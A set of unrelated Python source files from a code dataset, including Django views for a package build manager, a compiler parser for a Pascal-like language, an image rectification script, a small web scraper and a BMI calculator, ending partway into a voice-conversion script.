kwargs=kwargs))\n else:\n return new_series_form(request, repository_name)\n\n return render(request, 'seriess.html',\n {'repository': repository,\n 'settings': settings})\n\n\ndef package_list(request, repository_name, series_name):\n repository = Repository.objects.get(name=repository_name)\n series = repository.series_set.get(name=series_name)\n packages = series.get_source_packages()\n pkg_data = {}\n for distribution_name in packages:\n for pkg_name, pkg_version in packages[distribution_name].iteritems():\n if not pkg_name in pkg_data:\n pkg_data[pkg_name] = {}\n pkg_data[pkg_name][distribution_name] = pkg_version\n\n l = [dict(name=pkg_name, **data) for pkg_name, data in pkg_data.iteritems()]\n\n return render(request, 'packages.html',\n {'series': series,\n 'subscriptions': series.subscription_set.all(),\n 'pkg_data': l})\n\n\ndef promote_series(request):\n # Disabled until we have authorization in place\n return\n if request.method == 'POST':\n if not 'repository' in request.POST or not 'series' in request.POST:\n return\n\n series_name = request.POST['series']\n repository_name = request.POST['repository']\n series = Series.objects.get(name=series_name,\n repository__name=repository_name)\n series.promote()\n return HttpResponseRedirect(reverse('packages_list',\n kwargs={'repository_name': repository_name,\n 'series_name': series_name}))\n\n\ndef puppet_manifest(request, build_record_id):\n build_record = BuildRecord.objects.get(pk=build_record_id)\n return render(request, 'buildd.puppet.pp.tmpl',\n {'build_record': build_record,\n 'settings': settings},\n content_type='text/plain')\n\n\ndef builder_detail(request, builder_name):\n bn = get_object_or_404(BuildNode, name=builder_name)\n return render(request, 'builder.html',\n {'build_node': bn})\n\n\ndef builder_list(request):\n return render(request, 'builders.html',\n {'build_nodes': BuildNode.objects.all()})\n\n\ndef build_detail(request, build_id):\n br = get_object_or_404(BuildRecord, id=build_id)\n if request.method == 'POST':\n if request.POST['action'] == 'Rebuild':\n if br.allow_rebuild():\n br.update_state(br.NEEDS_BUILDING)\n return HttpResponseRedirect(\n reverse('build_detail', kwargs={'build_id': build_id}))\n\n return render(request, 'build.html',\n {'build': br})\n\n\ndef build_list(request):\n builds = BuildRecord.objects.order_by('-created')\n paginator = Paginator(builds, 25)\n\n page = request.GET.get('page')\n try:\n builds = paginator.page(page)\n except PageNotAnInteger:\n # If page is not an integer, deliver first page.\n builds = paginator.page(1)\n except EmptyPage:\n # If page is out of range (e.g. 9999), deliver last page of results.\n builds = paginator.page(paginator.num_pages)\n return render(request, 'builds.html',\n {'build_records': builds})\n\n\ndef tarball_list(request):\n msg = None\n if request.method == 'POST':\n for x in request.POST:\n if request.POST[x] == 'Build it':\n series_name, architecture_name = x.split('-')\n filter = {'series__name': series_name,\n 'architecture__name': architecture_name}\n tb = ChrootTarball.objects.get(**filter)\n tb.state = tb.WAITING_TO_BUILD\n tb.save()\n tasks.refresh_tarball.delay(tb.id)\n request.session['msg'] = 'Refresh triggered'\n return HttpResponseRedirect(reverse('tarball_list'))\n tarballs = {}\n for ubuntu_series in UbuntuSeries.objects.all():\n tarballs[ubuntu_series] = {}\n for architecture in Architecture.objects.all():\n try:\n tb = ChrootTarball.objects.get(series=ubuntu_series,\n architecture=architecture)\n except ChrootTarball.DoesNotExist:\n tb = ChrootTarball(series=ubuntu_series,\n architecture=architecture)\n tb.save()\n tarballs[ubuntu_series][architecture] = tb\n\n msg = request.session.pop('msg', None)\n return render(request, 'tarballs.html',\n {'tarballs': tarballs,\n 'msg': msg})\n\n\ndef builder_new(request):\n utils.start_new_worker_node()\n return HttpResponse('created', 'text/plain')\n\n\ndef docs_api(request):\n return render(request, 'docs/api.html',\n {'site': get_current_site(request)})\n\n\ndef docs_workflow(request):\n return render(request, 'docs/workflow.html',\n {'site': get_current_site(request)})\n\n\n@login_required\ndef redirect_to_self(request):\n return HttpResponseRedirect('/users/%s' % (request.user.username,))\n\n\ndef user_details(request, username):\n user = get_object_or_404(User, username=username)\n return render(request, 'user.html',\n {'userobj': user})\n\n\ndef subscription_edit(request, subscription_id):\n subscription = get_object_or_404(Subscription, id=subscription_id)\n if request.method == 'POST':\n form = SubscriptionForm(request.POST, instance=subscription)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('subscription_detail', args=[subscription.id]))\n else:\n form = SubscriptionForm(instance=subscription)\n return render(request, 'subscription_edit.html', {'form': form,\n 'subscription': subscription})\n\n\ndef subscription_detail(request, subscription_id):\n subscription = get_object_or_404(Subscription, id=subscription_id)\n return render(request, 'subscription.html',\n {'subscription': subscription})\n\n\ndef front_page(request):\n latest_builds = BuildRecord.objects.order_by('-created')[:10]\n latest_code_updates = PackageSource.objects.order_by('-last_changed')[:10]\n return render(request, 'front.html',\n {'latest_builds': latest_builds,\n 'latest_code_updates': latest_code_updates})\n","sub_path":"repomgmt/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"628288109","text":"from typing import List\n\n\nclass arraySegmentation:\n\n def seg(self, nums: List[int]) -> List[List[int]]:\n n = len(nums)\n tmp = nums[0]\n ret = []\n ls = [tmp]\n for i in range(1, n):\n if tmp == nums[i]:\n ls.append(tmp)\n else:\n ret.append(ls)\n tmp = nums[i]\n ls = [tmp]\n if ls != None:\n ret.append(ls)\n return ret\n\nif __name__ == '__main__':\n arraySegmentation = arraySegmentation()\n # nums = input().strip().split(\" \")\n # nums = [int(tmp) for tmp in nums]\n nums = [0,0,0,1,1,2,3,3,3,2,3,3,0,0]\n ret = arraySegmentation.seg(nums)\n print(\"ret: \", ret)","sub_path":"python_space/python_workspace/leetcode/arraySegmetation.py","file_name":"arraySegmetation.py","file_ext":"py","file_size_in_byte":708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"468041953","text":"# Load Packages\nfrom __future__ import division\ntry:\n import cPickle as pickle\nexcept:\n import pickle\n\nimport numpy.ma as ma\nimport os\nimport cv2\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pyproj\nfrom scipy.misc import imread, imresize\nfrom PIL import Image, ImageDraw\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom Tkinter import Tk\nfrom tkFileDialog import askopenfilename, askdirectory\n\nimport datetime as DT\nimport calendar\n\nimport pandas as pd\n\n##===============================================\n## sub functions\n##===============================================\ndef nancrop(a, x, y):\n nans = a[:,:,0]==0 #np.isnan(a)\n nancols = np.all(nans, axis=0) #\n nanrows = np.all(nans, axis=1) #\n\n firstcol = nancols.argmin() #\n firstrow = nanrows.argmin() #\n\n lastcol = len(nancols) - nancols[::-1].argmin() #\n lastrow = len(nanrows) - nanrows[::-1].argmin() #\n\n return a[firstrow:lastrow,firstcol:lastcol,:], x[firstrow:lastrow], y[firstcol:lastcol]\n\n##==========================================\ndef dotrans(img,trans,size,mappts):\n\n dst = cv2.warpPerspective(img,trans,size)\n\n pts2 = np.vstack((mappts[:,0],mappts[:,1])).T\n\n # find minimum in e,n\n minpts2 = np.min(pts2, axis=0)\n\n rows,cols,ch = dst.shape\n\n N_axis = np.linspace(minpts2[1], minpts2[1]+rows, rows)\n E_axis = np.linspace(minpts2[0], minpts2[0]+cols, cols)\n\n return N_axis, E_axis, dst\n##===========================================\ncs2cs_args = \"epsg:26949\" # define the projection Arizona Central state plane\ntrans = pyproj.Proj(init=cs2cs_args)\n#\n# #coords for 30mile\n#lon = -111.8476\n#lat = 36.5159\n#campos = trans(lon, lat)\n#campos = campos[1], campos[0]\n##==========================================\ndat = pickle.load( open( \"RC0307Rf_homo_trans2.p\",'r') )\nT = dat['trans']\nk = 0.833\n\n\nsegdat = pickle.load(open('RC0307Rf_20140228_0640_reg.jpg_out.p','r'))\nfct = 1/segdat['scale'] #amt to scale image\n\nimg = imresize(segdat['img'], fct)\n\n\nN_axis, E_axis, dst = dotrans(img,T,dat['dsize'],dat['mappts'])\nrectim, N, E = nancrop(dst, N_axis, E_axis)\nN = N+5\n\n # transform the sandbar outline\nx = segdat['contour_x']\n\ny = segdat['contour_y']\n\npts = np.vstack((fct*x, fct*y, np.ones(len(x))))\n\ntxyz = T.dot(pts)\ntx = txyz[0,:]\nty = txyz[1,:]\ntz = txyz[2,:]\n\ntx = tx/tz\nty = ty/tz\n\ntx = np.hstack((tx, tx[0]))\nty = np.hstack((ty, ty[0]))\n\n#=====================================\n#create mask\nnimg = Image.new('L', (rectim.shape[1], rectim.shape[0]), 0)\npolygon = zip(tx, ty)\nImageDraw.Draw(nimg).polygon(polygon, outline=1, fill=1)\nmask = np.array(nimg)\n# maske greyscale image\nim = (0.299 * rectim[:,:,0] + 0.5870*rectim[:,:,1] + 0.114*rectim[:,:,2]).astype('uint8')\n\nTX = tx+E.min() # create an array containing the x coordinates of the contour\nTY = ty+N.min() # create an array containing the y coordinates of the contour\nTZ = np.repeat(856.224,len(TX))\nnp.savetxt(\"coord_im\",np.c_[TX,TY,TZ],fmt='%1.3f')\n","sub_path":"rectify_contours_create_txt.py","file_name":"rectify_contours_create_txt.py","file_ext":"py","file_size_in_byte":2931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"383158261","text":"class Sintactico:\n\n contadorIf = 0\n contadorWhile = 0\n dicTypeofvariable = {}\n nameofProgram = ''\n infixList = []\n polishList = []\n polishListTypes = []\n auxiliaryList = []\n typeindex = {\"integer\": 0,\"real\": 1,\"string\": 2,\"bool\": 3}\n operatorPriority = {\":=\":0, \"or\":1,\"and\":2, \"not:\":3, \"<\":4, \">\":4, \"<=\":4, \">=\":4, \"=\":4, \"<>\":4,\n \"+\":5, \"-\":5, \"*\":6, \"div\":6, \"s+\":7, \"s-\":7, \"(\":-1, \")\":-1}\n suma = [\n ['integer','real', 'string','error'],\n ['real', 'real', 'string','error'],\n ['string', 'string','string','error'],\n ['error', 'error', 'error', 'error'],\n ]\n subtraction = [\n ['integer','real', 'error','error'],\n ['real', 'real', 'error','error'],\n ['error', 'error','error','error'],\n ['error', 'error','error','error'],\n ]\n multiply = [\n ['integer','real', 'error','error'],\n ['real', 'real', 'error','error'],\n ['error', 'error','error','error'],\n ['error', 'error','error','error'],\n ]\n division = [\n ['real', 'real', 'error','error'],\n ['real', 'real', 'error','error'],\n ['error','error','error','error'],\n ['error','error','error','error'],\n ]\n assignment = [\n ['ok', 'ok', 'error','error'],\n ['ok', 'ok', 'error','error'],\n ['error','error','ok', 'error'],\n ['error','error','error','error'],\n ]\n greaterThan = [\n ['bool','bool', 'error','error'],\n ['bool','bool', 'error','error'],\n ['error','error','error','error'],\n ['error','error','error','error'],\n ]\n smallerThan = [\n ['bool','bool', 'error','error'],\n ['bool','bool', 'error','error'],\n ['error','error','error','error'],\n ['error','error','error','error'],\n ]\n greaterEqualTo = [\n ['bool','bool', 'error','error'],\n ['bool','bool', 'error','error'],\n ['error','error','error','error'],\n ['error','error','error','error'],\n ]\n smallerEqualTo = [\n ['bool', 'bool', 'error','error'],\n ['bool', 'bool', 'error','error'],\n ['error','error','error','error'],\n ['error','error','error','error'],\n ]\n equalTo = [\n ['bool', 'bool', 'error','error'],\n ['bool', 'bool', 'error','error'],\n ['error','error','bool','error'],\n ['error','error','error','bool'],\n ]\n\n different = [\n ['bool', 'bool', 'error','error'],\n ['bool', 'bool', 'error','error'],\n ['error','error','bool', 'error'],\n ['error','error','error','bool'],\n ]\n andMatrix = [\n ['error', 'error', 'error', 'error'],\n ['error', 'error', 'error', 'error'],\n ['error', 'error', 'error', 'error'],\n ['error', 'error', 'error', 'bool'],\n ]\n orMatrix = [\n ['error', 'error', 'error', 'error'],\n ['error', 'error', 'error', 'error'],\n ['error', 'error', 'error', 'error'],\n ['error', 'error', 'error', 'bool'],\n ]\n notMatrix = ['error','error','error','bool']\n\n plusUnitary = ['integer','real','error','error']\n\n lessUnitary = ['integer','real','error','error']\n \n erroresSintacticos= [\n # 0 1 \n [ \"Se esperaba 'program'\" , \"504\"], #0 \n [ \"Se esperaba identificador\" , \"505\"], #1 \n [ \"Se esperaba ';'\" , \"506\"], #3\n [ \"Se esperaba '.'\" , \"507\"], #4\n [ \"Se esperaba 'begin'\" , \"508\"], #5\n [ \"Se esperaba ':'\" , \"509\"], #6\n [ \"Se esperaba algun tipo de variable\" , \"510\"], #7\n [ \"Se esperaba 'end'\" , \"511\"], #8\n [ \"Se esperaba ':='\" , \"512\"], #9\n [ \"Se esperaba 'read'\" , \"513\"], #10\n [ \"Se esperaba '('\" , \"514\"], #11\n [ \"Se esperaba ')'\" , \"515\"], #12\n [ \"Se esperaba 'write'\" , \"516\"], #13\n [ \"Se esperaba 'if'\" , \"517\"], #14\n [ \"Se esperaba 'then'\" , \"518\"], #15\n [ \"Se esperaba 'while'\" , \"519\"], #16\n [ \"Se esperaba 'do'\" , \"520\"], #17\n [ \"Se esperaba factor\" , \"521\"], #18\n [ \"Variable ya declarada\" , \"522\"], #19\n [ \"Nombre de variable no valida\" , \"523\"], #20 \n [ \"Variable no declarada\" , \"524\"], #21 \n [ \"Incompatibilidad de tipos\" , \"525\"], #21 \n ]\n \n def __init__(self, cabeza):\n self.errorEncontrado = False\n self.program(cabeza)\n self.printSemantic(self.infixList, self.polishListTypes, self.polishList)\n\n def imprimirErrorSintactico(self, errorSintactico, numRenglon):\n for self.error in self.erroresSintacticos:\n if str(errorSintactico) == self.error[1] and not self.errorEncontrado:\n self.errorEncontrado = True\n print(self.error[0], \"en el renglon: \", numRenglon)\n exit()\n \n\n # ::=program ; .\n def program(self, nodo):\n if not nodo or nodo.token != 211:# program\n self.imprimirErrorSintactico(504, nodo.renglon)\n return\n nodo = nodo.sig\n if not nodo or nodo.token != 100:#identifier\n self.imprimirErrorSintactico(505, nodo.renglon)\n return\n self.nameofProgram = nodo.lexema\n nodo = nodo.sig\n if not nodo or nodo.token != 114:#;\n self.imprimirErrorSintactico(506, nodo.renglon)\n return\n nodo = nodo.sig\n nodo = self.block(nodo)#block\n if not nodo or nodo.token != 112:\n self.imprimirErrorSintactico(507, nodo.renglon)\n return\n return\n\n # ::= \n def block(self, nodo):\n nodo = self.variable_declaration_part(nodo)\n nodo = self.compound_statement(nodo)\n return nodo\n\n # ::= | var ; { ; }\n def variable_declaration_part(self, nodo):\n if not nodo or nodo.token != 209:\n return nodo\n nodo = nodo.sig\n nodo = self.variable_declaration(nodo)\n while nodo and nodo.token != 205:\n nodo = self.variable_declaration(nodo)\n return nodo\n \n # ::= { , } : \n def variable_declaration(self, nodo):\n if not nodo or nodo.token != 100:\n self.imprimirErrorSintactico(508, nodo.renglon)\n nodo = nodo.sig\n return nodo\n if nodo.lexema in self.dicTypeofvariable:\n self.imprimirErrorSintactico(522, nodo.renglon)\n nodo = nodo.sig\n return nodo\n self.dicTypeofvariable[nodo.lexema]=\"\"\n nodo = nodo.sig\n while nodo and nodo.token == 113:\n nodo = nodo.sig\n if not nodo or nodo.token != 100:\n self.imprimirErrorSintactico(505, nodo.renglon)\n return nodo\n if nodo.lexema in self.dicTypeofvariable:\n self.imprimirErrorSintactico(522, nodo.renglon)\n nodo = nodo.sig\n return nodo\n self.dicTypeofvariable[nodo.lexema]=\"\"\n nodo = nodo.sig\n if not nodo or nodo.token != 119:\n self.imprimirErrorSintactico(509, nodo.renglon)\n return nodo\n nodo = nodo.sig\n if not nodo or nodo.token not in [210,218,219,220]:\n self.imprimirErrorSintactico(510, nodo.renglon)\n return nodo\n for d in self.dicTypeofvariable:\n if self.dicTypeofvariable[d] == \"\":\n self.dicTypeofvariable[d] = nodo.lexema\n nodo = nodo.sig\n if not nodo or nodo.token != 114:\n self.imprimirErrorSintactico(506, nodo.renglon)\n return nodo\n for d in self.dicTypeofvariable:\n if self.nameofProgram == d:\n self.imprimirErrorSintactico(523, nodo.renglon)\n nodo = nodo.sig\n return nodo\n\n # ::= begin { ; }end\n def compound_statement(self, nodo):\n if not nodo or nodo.token != 205:\n self.imprimirErrorSintactico(508, nodo.renglon)\n return nodo\n nodo = nodo.sig\n nodo = self.statement(nodo)\n while nodo and nodo.token == 114:\n nodo = nodo.sig\n nodo = self.statement(nodo)\n if not nodo or nodo.token != 206:\n self.imprimirErrorSintactico(511, nodo.renglon)\n return nodo\n nodo = nodo.sig\n return nodo\n\n # ::= | \n def statement(self, nodo):\n nodo = self.simple_statement(nodo)\n nodo = self.structured_statement(nodo)\n return nodo\n\n # ::= | | \n def simple_statement(self, nodo):\n if nodo and nodo.token == 100:\n nodo = self.assignment_statement(nodo)\n return nodo\n if nodo and nodo.token == 207:\n nodo = self.read_statement(nodo)\n return nodo\n if nodo and nodo.token == 208:\n nodo = self.write_statement(nodo)\n return nodo\n return nodo\n\n # ::= | | \n def structured_statement(self, nodo):\n if nodo and nodo.token == 205:\n nodo = self.compound_statement(nodo)\n return nodo\n if nodo and nodo.token == 200:\n nodo = self.if_statement(nodo)\n return nodo\n if nodo and nodo.token == 203:\n nodo = self.while_statement(nodo)\n return nodo\n return nodo\n\n # ::= := \n def assignment_statement(self, nodo):\n if not nodo or nodo.token != 100:\n self.imprimirErrorSintactico(505, nodo.renglon)\n return nodo\n \n self.infixList.append(nodo)\n if not nodo.lexema in self.dicTypeofvariable:\n self.imprimirErrorSintactico(524, nodo.renglon)\n return nodo\n nodo = nodo.sig\n if not nodo or nodo.token != 118:\n self.imprimirErrorSintactico(512, nodo.renglon)\n return nodo\n self.infixList.append(nodo)\n nodo = nodo.sig\n nodo = self.expression(nodo)\n #self.printSemantic(nodo, self.infixList, self.polishListTypes, self.polishList)\n self.convertToPostfijo(self.infixList, nodo)\n \n return nodo\n\n # ::= read ( { , } )\n def read_statement(self, nodo):\n if not nodo or nodo.token != 207:\n self.imprimirErrorSintactico(513, nodo.renglon)\n return nodo\n nodo = nodo.sig\n \n if not nodo or nodo.token != 115:\n self.imprimirErrorSintactico(514, nodo.renglon)\n return nodo\n nodo = nodo.sig\n self.infixList.append(nodo)\n if not nodo or nodo.token != 100:\n self.imprimirErrorSintactico(505, nodo.renglon)\n return nodo\n if not nodo.lexema in self.dicTypeofvariable:\n self.imprimirErrorSintactico(524, nodo.renglon)\n return nodo\n nodo = nodo.sig\n self.convertToPostfijo(self.infixList, nodo)\n self.polishList.append(\"read\")# :)\n while nodo and nodo.token == 113:\n nodo = nodo.sig\n if not nodo or nodo.token != 100:\n self.imprimirErrorSintactico(505, nodo.renglon)\n return nodo\n if not nodo.lexema in self.dicTypeofvariable:\n self.imprimirErrorSintactico(524, nodo.renglon)\n return nodo\n nodo = nodo.sig\n self.convertToPostfijo(self.infixList, nodo)\n self.polishList.append(\"read\")# :)\n if not nodo or nodo.token != 116:\n self.imprimirErrorSintactico(515, nodo.renglon)\n return nodo\n nodo = nodo.sig\n return nodo\n\n # ::=write ( { , } )\n def write_statement(self, nodo):\n if not nodo or nodo.token != 208:\n self.imprimirErrorSintactico(516, nodo.renglon)\n return \n nodo = nodo.sig\n if not nodo or nodo.token != 115:\n self.imprimirErrorSintactico(514, nodo.renglon)\n return nodo\n nodo = nodo.sig\n nodo = self.expression(nodo)\n #self.printSemantic(nodo, self.infixList, self.polishListTypes, self.polishList)\n self.convertToPostfijo(self.infixList, nodo)\n self.polishList.append(\"write\")# :)\n \n while nodo and nodo.token == 113:\n nodo = nodo.sig\n nodo = self.expression(nodo)\n #self.printSemantic(nodo, self.infixList, self.polishListTypes, self.polishList)\n self.convertToPostfijo(self.infixList, nodo)\n self.polishList.append(\"write\")# :)\n \n if not nodo or nodo.token != 116:\n self.imprimirErrorSintactico(515, nodo.renglon)\n return nodo\n nodo = nodo.sig\n return nodo\n\n # ::= if then | if then else \n def if_statement(self, nodo):\n if not nodo or nodo.token != 200:\n self.imprimirErrorSintactico(517, nodo.renglon)\n return nodo\n nodo = nodo.sig\n nodo = self.expression(nodo)\n #self.printSemantic(nodo, self.infixList, self.polishListTypes, self.polishList)\n self.convertToPostfijo(self.infixList, nodo)\n contIf = self.contadorIf\n self.contadorIf+=1\n self.polishList.append(\"BRF-A\"+ str(contIf))# :)\n if not nodo or nodo.token != 201:\n self.imprimirErrorSintactico(518, nodo.renglon)\n return nodo\n nodo = nodo.sig\n nodo = self.statement(nodo)\n self.polishList.append(\"BRI-B\"+ str(contIf))# :)\n \n #Aqui va el apuntador\n self.polishList.append(\"A\"+ str(contIf) + \":\")\n if nodo and nodo.token == 202:\n nodo = nodo.sig\n nodo = self.statement(nodo)\n #Aqui va el apuntador\n self.polishList.append(\"B\"+ str(contIf) + \":\")\n return nodo\n\n # ::=while do \n def while_statement(self, nodo):\n contWhile = self.contadorWhile\n self.contadorWhile+=1\n if not nodo or nodo.token != 203:\n self.imprimirErrorSintactico(519, nodo.renglon)\n return nodo\n nodo = nodo.sig\n self.polishList.append(\"D\"+ str(contWhile) + \":\")\n nodo = self.expression(nodo)\n #self.printSemantic(nodo, self.infixList, self.polishListTypes, self.polishList)\n self.convertToPostfijo(self.infixList, nodo)\n self.polishList.append(\"BRF-C\"+ str(contWhile))# :)\n if not nodo or nodo.token != 204:\n self.imprimirErrorSintactico(520, nodo.renglon)\n return nodo\n nodo = nodo.sig\n \n nodo = self.statement(nodo)\n self.polishList.append(\"BRI-D\"+ str(contWhile))# :)\n self.polishList.append(\"C\"+ str(contWhile) + \":\")\n return nodo\n\n # ::= | \n # ::= = | <> | < | <= | >= | >\n def expression(self, nodo):\n nodo = self.simple_expression(nodo)\n if nodo and nodo.token in [110, 111, 106, 108, 109, 107]:\n self.infixList.append(nodo)\n nodo = nodo.sig\n nodo = self.simple_expression(nodo)\n return nodo\n\n # ::= { }\n def simple_expression(self, nodo):\n if nodo and nodo.token in [103,104]:#Unitario\n nodo.lexema = \"s\"+ nodo.lexema\n self.infixList.append(nodo)\n nodo = nodo.sig\n nodo = self.term(nodo)\n while nodo and nodo.token in [103,104,215]:\n self.infixList.append(nodo)\n nodo = nodo.sig\n nodo = self.term(nodo)\n return nodo\n\n # ::= { }\n def term(self, nodo):\n nodo = self.factor(nodo)\n while nodo and nodo.token in [105, 217, 214]:\n self.infixList.append(nodo)\n nodo = nodo.sig\n nodo = self.factor(nodo)\n return nodo\n\n # ::= | | ( ) | not \n def factor(self, nodo):\n if nodo and nodo.token in [100, 101, 102, 117]:\n if nodo.token == 100 and not nodo.lexema in self.dicTypeofvariable:\n self.imprimirErrorSintactico(524, nodo.renglon)\n return nodo\n self.infixList.append(nodo)\n nodo = nodo.sig\n return nodo\n if nodo and nodo.token == 216:\n self.infixList.append(nodo)\n nodo = nodo.sig\n nodo = self.factor(nodo)\n if nodo and nodo.token == 115:\n self.infixList.append(nodo)\n nodo = nodo.sig\n nodo = self.expression(nodo)\n if not nodo or nodo.token != 116:\n self.imprimirErrorSintactico(515, nodo.renglon)\n return nodo\n self.infixList.append(nodo)\n nodo = nodo.sig\n return nodo\n self.imprimirErrorSintactico(521, nodo.renglon)\n return nodo\n\n def convertToPostfijo(self, infixList, renglon):\n for nodo in infixList:\n self.compareOperators(nodo)\n for nodo in self.auxiliaryList[::-1]:\n self.polishListTypes.append(nodo)\n self.polishList.append(nodo)\n self.checkType(self.polishListTypes, renglon)\n self.auxiliaryList = []\n self.infixList = []\n \n\n def checkPriority(self, operatorInfijo):\n return self.operatorPriority[operatorInfijo]\n\n def compareOperators(self, nodo):\n if nodo.token in [100, 101, 102, 117]:#Operando\n self.polishList.append(nodo.lexema) \n if nodo.token == 100:\n self.polishListTypes.append(self.dicTypeofvariable[nodo.lexema])\n elif nodo.token == 101:\n self.polishListTypes.append(\"integer\")\n elif nodo.token == 102:\n self.polishListTypes.append(\"real\") \n elif nodo.token == 117:\n self.polishListTypes.append(\"string\") \n else:#Operador\n if self.auxiliaryList:\n if nodo.token == 116:\n for aux in self.auxiliaryList[::-1]:\n if aux == \"(\":\n self.auxiliaryList.pop()\n break\n else:\n self.polishListTypes.append(self.auxiliaryList[len(self.auxiliaryList)-1])\n self.polishList.append(self.auxiliaryList.pop())\n elif nodo.token == 115 or self.checkPriority(nodo.lexema) > self.checkPriority(self.auxiliaryList[-1]):\n self.auxiliaryList.append(nodo.lexema) \n else:\n self.polishListTypes.append(self.auxiliaryList[len(self.auxiliaryList)-1])\n self.polishList.append(self.auxiliaryList.pop())\n self.compareOperators(nodo)\n else:\n self.auxiliaryList.append(nodo.lexema)\n \n\n def checkType(self, polishListTypes , renglon):\n for nodo in polishListTypes:\n if nodo in ['integer', 'real', 'string']:\n self.auxiliaryList.append(nodo)\n elif nodo in ['s+','s-', 'not']:\n operator = self.auxiliaryList.pop()\n if nodo == \"not\":\n result= self.notMatrix[self.typeindex[operator]]\n elif nodo == \"s+\":\n result= self.plusUnitary[self.typeindex[operator]]\n elif nodo == \"s-\":\n result= self.lessUnitary[self.typeindex[operator]]\n\n if result == \"error\":\n self.imprimirErrorSintactico(525, renglon.renglon - 1)\n return nodo\n else:\n self.auxiliaryList.append(result)\n else:\n secondoperator = self.auxiliaryList.pop()\n firstoperator = self.auxiliaryList.pop()\n if nodo == \"+\":\n result= self.suma[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \"-\":\n result = self.subtraction[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \"*\":\n result = self.multiply[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \"div\":\n result = self.division[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \":=\":\n result = self.assignment[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \">\":\n result = self.greaterThan[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \"<\":\n result = self.smallerThan[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \">=\":\n result = self.greaterEqualTo[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \"<=\":\n result = self.smallerEqualTo[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \"<=\":\n result = self.equalTo[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \"<=\":\n result = self.different[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \"and\":\n result = self.andMatrix[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n elif nodo == \"or\":\n result = self.orMatrix[self.typeindex[firstoperator]][self.typeindex[secondoperator]]\n\n if result == \"error\":\n self.imprimirErrorSintactico(525, renglon.renglon - 1)\n return nodo\n else:\n #print(result)\n self.auxiliaryList.append(result)\n \n \n def printSemantic(self, infixList, polishListTypes, polishList):\n #print(\"Infijo -->\", infixList)\n #print(\"Tipos -->\", polishListTypes)\n print(\"Polish -->\", polishList)\n \n \n \n\n \n\n \n","sub_path":"sintactico.py","file_name":"sintactico.py","file_ext":"py","file_size_in_byte":23488,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"12136170","text":"from bs4 import BeautifulSoup\nimport requests\n\nurl = \"https://www.flipkart.com/cameras/dslr-mirrorless/pr?sid=jek,p31,trv&otracker=categorytree&fm=neo%2Fmerchandising&iid=M_dedd804b-6298-4b36-85fa-dc56fbf15780_1_372UD5BXDFYS_MC.0KU83APBTPQK&otracker=hp_rich_navigation_2_1.navigationCard.RICH_NAVIGATION_Electronics~Cameras%2B%2526%2BAccessories~DSLR%2B%2526%2BMirrorless_0KU83APBTPQK&otracker1=hp_rich_navigation_PINNED_neo%2Fmerchandising_NA_NAV_EXPANDABLE_navigationCard_cc_2_L2_view-all&cid=0KU83APBTPQK\"\n\nresponse = requests.get(url)\nhtmlcontent = response.content\nsoup = BeautifulSoup(htmlcontent, 'html.parser')\n\ntitles = []\nprices = []\nimages = []\n\nfor d in soup.find_all('div', attrs={'class':'_2kHMtA'}):\n title = d.find('div', attrs={'class':'_4rR01T'})\n # print(title.string)\n\n price = d.find('div', attrs={'class':'_30jeq3 _1_WHN1'})\n # print(price.string)\n\n image = d.find('img', attrs={'class':'_396cs4 _3exPp9'})\n # print(image.get('src'))\n\n titles.append(title.string)\n prices.append(price.string)\n images.append(image.get('src'))\n\nprint(titles)\nprint(prices)\nprint(images)\nprint()","sub_path":"wsexample.py","file_name":"wsexample.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"419803687","text":"\"\"\"Greets user based on input, calculates BMI and outputs body classification.\"\"\"\nname = input(\"What is your name?:\")\nif name == \"\":\n print(\"Name was not inserted!\")\n exit()\nschool = input(\"Where do you study?:\")\nif school == \"\":\n print(\"School was not inserted!\")\n exit()\nprint(f\"{name}, welcome to {school}\")\nmass = float(input(\"Please enter your weight in kilograms:\"))\nheight = float(input(\"Please enter your height in meters:\"))\nbmi = mass / height ** 2\nbody_type = \"\"\nif bmi < 18.5:\n body_type = \"alakaaluline\"\nelif bmi > 25.0:\n body_type = \"ülekaaluline\"\nelse:\n body_type = \"normaalkaal\"\nprint(f\"{bmi}, {body_type}\")\n","sub_path":"ex01_hello/hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"641620385","text":"#AMUSED SPEECH VOICE CONVERSION\n#Shifting by percent \nimport csv\nimport scipy.io.wavfile as wav\nimport pyworld as pw\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom scipy.signal import argrelmin\nfrom scipy.signal import argrelmax\nimport math\nimport peakutils\nimport soundfile as sf\nimport argparse\nfrom audiolazy import * \nfrom audiolazy.lazy_stream import Stream\nfrom audiolazy import Stream\n\n\nstyletext= ''\n\n\n#_y = pw.synthesize(f0, sp, ap, fs)\n#if it has less that temporal position pop off the last element\n#################################\n#DEFINE FORMANT DETECTION FUNCTION \ndef cam_formants(x, 